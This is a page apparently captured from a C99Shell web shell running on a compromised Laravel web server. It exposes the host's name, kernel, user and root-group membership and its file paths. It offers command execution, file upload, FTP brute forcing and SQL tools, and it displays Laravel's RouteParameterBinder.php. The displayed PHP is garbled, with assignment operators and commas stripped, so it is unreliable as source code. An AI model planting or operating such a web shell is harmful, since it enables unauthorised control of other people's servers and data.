!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Routing/   drwxr-xr-x
Free 28.78 GB of 117.98 GB (24.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RouteParameterBinder.php (3.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Routing;

use 
Illuminate\Support\Arr;

class 
RouteParameterBinder
{
    
/**
     * The route instance.
     *
     * @var \Illuminate\Routing\Route
     */
    
protected $route;

    
/**
     * Create a new Route parameter binder instance.
     *
     * @param  \Illuminate\Routing\Route  $route
     * @return void
     */
    
public function __construct($route)
    {
        
$this->route $route;
    }

    
/**
     * Get the parameters for the route.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    
public function parameters($request)
    {
        
$parameters $this->bindPathParameters($request);

        
// If the route has a regular expression for the host part of the URI, we will
        // compile that and get the parameter matches for this domain. We will then
        // merge them into this parameters array so that this array is completed.
        
if (! is_null($this->route->compiled->getHostRegex())) {
            
$parameters $this->bindHostParameters(
                
$request$parameters
            
);
        }

        return 
$this->replaceDefaults($parameters);
    }

    
/**
     * Get the parameter matches for the path portion of the URI.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    
protected function bindPathParameters($request)
    {
        
$path '/'.ltrim($request->decodedPath(), '/');

        
preg_match($this->route->compiled->getRegex(), $path$matches);

        return 
$this->matchToKeys(array_slice($matches1));
    }

    
/**
     * Extract the parameter list from the host part of the request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  array  $parameters
     * @return array
     */
    
protected function bindHostParameters($request$parameters)
    {
        
preg_match($this->route->compiled->getHostRegex(), $request->getHost(), $matches);

        return 
array_merge($this->matchToKeys(array_slice($matches1)), $parameters);
    }

    
/**
     * Combine a set of parameter matches with the route's keys.
     *
     * @param  array  $matches
     * @return array
     */
    
protected function matchToKeys(array $matches)
    {
        if (empty(
$parameterNames $this->route->parameterNames())) {
            return [];
        }

        
$parameters array_intersect_key($matchesarray_flip($parameterNames));

        return 
array_filter($parameters, function ($value) {
            return 
is_string($value) && strlen($value) > 0;
        });
    }

    
/**
     * Replace null parameters with their defaults.
     *
     * @param  array  $parameters
     * @return array
     */
    
protected function replaceDefaults(array $parameters)
    {
        foreach (
$parameters as $key => $value) {
            
$parameters[$key] = $value ?? Arr::get($this->route->defaults$key);
        }

        foreach (
$this->route->defaults as $key => $value) {
            if (! isset(
$parameters[$key])) {
                
$parameters[$key] = $value;
            }
        }

        return 
$parameters;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--